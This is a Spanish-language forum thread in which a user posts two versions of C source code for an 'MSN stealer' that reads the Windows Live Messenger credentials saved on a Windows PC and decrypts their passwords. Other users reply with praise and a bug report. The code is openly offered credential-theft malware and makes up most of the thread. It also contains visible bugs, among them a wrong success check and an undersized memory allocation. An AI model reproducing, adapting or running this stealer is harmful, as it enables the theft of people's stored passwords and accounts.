Buenas indetectables, pues esta tarde me dio curiosidad ver cómo sacar el password del msn cuando marcas la casilla de recordar password, para esto me baje un stealer en vb (con eso de que nada se hace en vb), me di cuenta que no entendía ni un choto de cómo extraía la pass, así que estuve investigando y viendo algunas apis de la msdn y estructuras para ver cómo funciona esto, al final logré pasar la función de vb a C para obtener el user y pass del msn, por lo que no me puedo llevar todos los créditos de esta función aun así la mayor parte del código es mía solo miré el módulo de vb donde hace unos call's asi masomenos a writeprocessmemory(-1, ByVal VarPtr(lPtr), ByVal lCred + i * 4, &H4, 0), pues no entendía el porqué de las constantes *4 + x etcétera, sin emargo el módulo no cuenta con el nombre de autor por lo que no sé quien descubrió el método pero gracias a esa persona y bueno después de 4 horas liado con los punteros como cuando quitas las luces navideñas salió el código.

Lo intenté comentar lo más sencillo que pude y bueno devuelve msn+passwords pegados en un puntero a cadena (LPSTR o char *)
sin más que decir, mi traducción
Código nuevo:

Código: Seleccionar todo

#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
//Stealer MSN C - Linkgl
//Definimos las p#$%&tas apis
typedef BOOL (WINAPI *_CredEnumerate)(
   LPCTSTR Filter,
   DWORD Flags,
   DWORD *Count,
   LONG **Credentials
);

typedef BOOL (WINAPI *_CryptUnprotectData)(
  DATA_BLOB *pDataIn,
  LPWSTR *ppszDataDescr,
  DATA_BLOB *pOptionalEntropy,
  PVOID pvReserved,
  LONG *pPromptStruct,
  DWORD dwFlags,
  DATA_BLOB *pDataOut
);
//variables y estrucctura data blob
LONG ptr_credenciales;
LONG ptr_numero;
LONG ptr;
char *app={"WindowsLive:name=*"};
CRYPT_INTEGER_BLOB dtb;
//Devuelve el número de credenciales existentes
int cred(){
  _CredEnumerate __CredEnumerate = NULL;
  __CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
  __CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
  return ptr_numero;
}

char * msn(int i)
{
  // No me hago responsable por el uso que se le de a la funcion
  // Thanks to a vbmodule (doesn't have the name of the coder)
  // and msdn
  LONG usr;
  int o;
  char *temp; 
  char *temp_user; 
  int tam_user;
  char *user;
  BOOL check;
  //Sacamos las apis de las dll
  _CredEnumerate __CredEnumerate = NULL;
  __CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
  _CryptUnprotectData __CryptUnprotectData = NULL;
  __CryptUnprotectData = (_CryptUnprotectData)GetProcAddress(LoadLibrary("Crypt32.dll"), "CryptUnprotectData");
  //Sacamos las credenciales SOLO de windowslive
  //y las almacenamos en un puntero que apunta a un array de punteros XD
  check=__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
  if(__CredEnumerate==FALSE)
  {
     return NULL;
  }
  else
  {
      //aca movemos la direccion de las credenciales al puntero
      memcpy(&ptr,ptr_credenciales+i*4,0x4);
      //sacamos el msn
      memcpy(&usr,ptr+48,0x4);
      //rellenamos la estructura DATA BLOB (con el pass encryptado)
      memcpy(&dtb.pbData,ptr+28,0x4);
      memcpy(&dtb.cbData,ptr+24,0x4);
      //desencriptamos los datos de la estructura (ver msdn :P)
      __CryptUnprotectData(&dtb,0,0,0,0,1,0);
      //reservamos el tamaño del pass
      //la estructura contiene la pass y el tamaño*2
      //tonses la dividimos xDD
      temp=(char *)malloc(dtb.cbData/2);
      memset(temp,0,dtb.cbData/2+1);
     
      //copiamos el primer caracter de la pass
     
      memcpy(&temp[0],&dtb.pbData[0],1);
      //bucle del 2do caracter al ultimo
      for(o=1;o<dtb.cbData/2;o++)
      {
        //copiamos la pass caracter x caracter
        //saltando 1 byte nulo
        memcpy(&temp[o],&dtb.pbData[o*2],1);
      }
      //sacamos el tamaño del user
      tam_user=lstrlen(usr);
      //reservamos la ultima cadena del tamaño del user + la pass
      temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);
      memset(temp_user,0,tam_user+dtb.cbData/2+1);
      //copiamos el correo
      memcpy(temp_user,usr,tam_user);
      //bucle para pegar el user y pass
      for(o=tam_user;o<tam_user+dtb.cbData/2;o++)
      {
        //pegamos la pass al final del correo
        memcpy(&temp_user[o],&temp[o - tam_user],1);
      }
      //retornamos user + pass
    }
  return temp_user;
}

int main()
{
  /*
   La función cred() devuelve el número de credenciales existentes en la pc
   La función msn(i) devuelve las credenciales del id específico con la siguiente estructura
   [email protected]
   Un ejemplo para extraer todos los correos y contrasñeas guardadas de
   Windows live messenger:
    */
  int c;
  for(c=0;c<cred();c++)
    printf("- %s - ",msn(c));
  getchar();
  /*
    Saludos
      Linkgl */
  return 0;
}
Código anterior

Código: Seleccionar todo

#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
//Definimos las p#$%&tas apis 
typedef BOOL (WINAPI *_CredEnumerate)(
   LPCTSTR Filter,
   DWORD Flags,
   DWORD *Count,
   LONG **Credentials
);

typedef BOOL (WINAPI *_CryptUnprotectData)(
  DATA_BLOB *pDataIn,
  LPWSTR *ppszDataDescr,
  DATA_BLOB *pOptionalEntropy,
  PVOID pvReserved,
  LONG *pPromptStruct,
  DWORD dwFlags,
  DATA_BLOB *pDataOut
);

char * msn()
{
  // FUNCION DE EXTRACCION DE CREDENCIALES DE MSN
  // TRADUCIDO Y EXTENDIDO POR Linkgl
  // No me hago responsable por el uso que se le de a la funcion
  // Thanks to a vbmodule (doesn't have the name of the coder)
  // and msdn
  //Estructura DATA BLOB y variables que almacenaran direcciones de memoria
  CRYPT_INTEGER_BLOB dtb;
  int i;
  LONG ptr_credenciales;
  LONG ptr_numero;
  LONG ptr;
  LONG usr;

  char *user;
  BOOL check;
  //key
  char *app={"WindowsLive:name=*"};
  //Sacamos las apis de las dll 
  _CredEnumerate __CredEnumerate = NULL;
  __CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
  _CryptUnprotectData __CryptUnprotectData = NULL;
  __CryptUnprotectData = (_CryptUnprotectData)GetProcAddress(LoadLibrary("Crypt32.dll"), "CryptUnprotectData");
  //Sacamos las credenciales de windowslive 
  //y las almacenamos en un puntero que apunta a un array de punteros XD 
  check=__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
  if(__CredEnumerate==FALSE)
  {
     return NULL;
  }
  else
  {
    //Hacemos un bucle hasta sacar todas las credenciales existentes
    for(i=0;i<=ptr_numero-1;i++)
    {
      int o;
      char *temp;  
      char *temp_user;  
      int tam_user;
      //aca movemos la direccion de las credenciales al puntero
      memcpy(&ptr,ptr_credenciales+i*4,0x4);
      //sacamos el msn
      memcpy(&usr,ptr+48,0x4);
      //rellenamos la estructura DATA BLOB (con el pass encryptado)
      memcpy(&dtb.pbData,ptr+28,0x4);
      memcpy(&dtb.cbData,ptr+24,0x4);
      //desencriptamos los datos de la estructura (ver msdn :P)
      __CryptUnprotectData(&dtb,0,0,0,0,1,0);
      //reservamos el tamaño del pass
      //la estructura contiene la pass y el tamaño*2
      //tonses la dividimos xDD
      temp=(char *)malloc(dtb.cbData/2);
      memset(temp,0,dtb.cbData/2+1); 
      
      //copiamos el primer caracter de la pass
      
      memcpy(&temp[0],&dtb.pbData[0],1);
      //bucle del 2do caracter al ultimo
      for(o=1;o<dtb.cbData/2;o++)
      {
        //copiamos la pass caracter x caracter
        //saltando 1 byte nulo
        memcpy(&temp[o],&dtb.pbData[o*2],1);
      }
      //sacamos el tamaño del user
      tam_user=lstrlen(usr);
      //reservamos la ultima cadena del tamaño del user + la pass
      temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);
      memset(temp_user,0,tam_user+dtb.cbData/2+1);
      //copiamos el correo
      memcpy(temp_user,usr,tam_user);
      //bucle para pegar el user y pass
      for(o=tam_user;o<tam_user+dtb.cbData/2;o++)
      {
        //pegamos la pass al final del correo
        memcpy(&temp_user[o],&temp[o - tam_user],1);
      }
      //retornamos user + pass
      return temp_user;
    }
  }
}

int main()
{
  printf("%s",msn());
  getchar();
  return 0;
}
//mHmm..
Lindo codigo linkgl te fulicito hermano! Hace tiempo tambien vi algunos source de stealers y lo que hacian es que desencirptaban el password que se quedaba en una clave de resgitro, pero estaba en la version 8 creo del messenger ahora creo que ya es windowslivemessenger y cambio la cosa! Saludos!
1337 & culture!
Jeje que tal bro!, pues de esta forma funciona en la versión actual la probé bajo win 7 y va sin problemas.
//mHmm..
Haha pronto me haré unas tools en C para que se vayan des-acostumbrando a moddear stubs en VB haha
//mHmm..
Corregí el código añadiendo una función para poder manipular cada credencial, creo que la mejoraré para que devuelva un puntero a un array de punteros
//mHmm..
Lindo codigo me gusto , lo estudio y me desoxisido de a poco! xD
obey escribió:Pues si tuviese mas edad todavia pero esqe perder la virginidad con tu profesora de informatica y que ademas tenga 50....
Cuando se tiene una sola cuenta va perfecto, pero cuando va de 2 a mas deja de funcionar el programa en esta linea
temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);

:S
Responder

Volver a “Fuentes”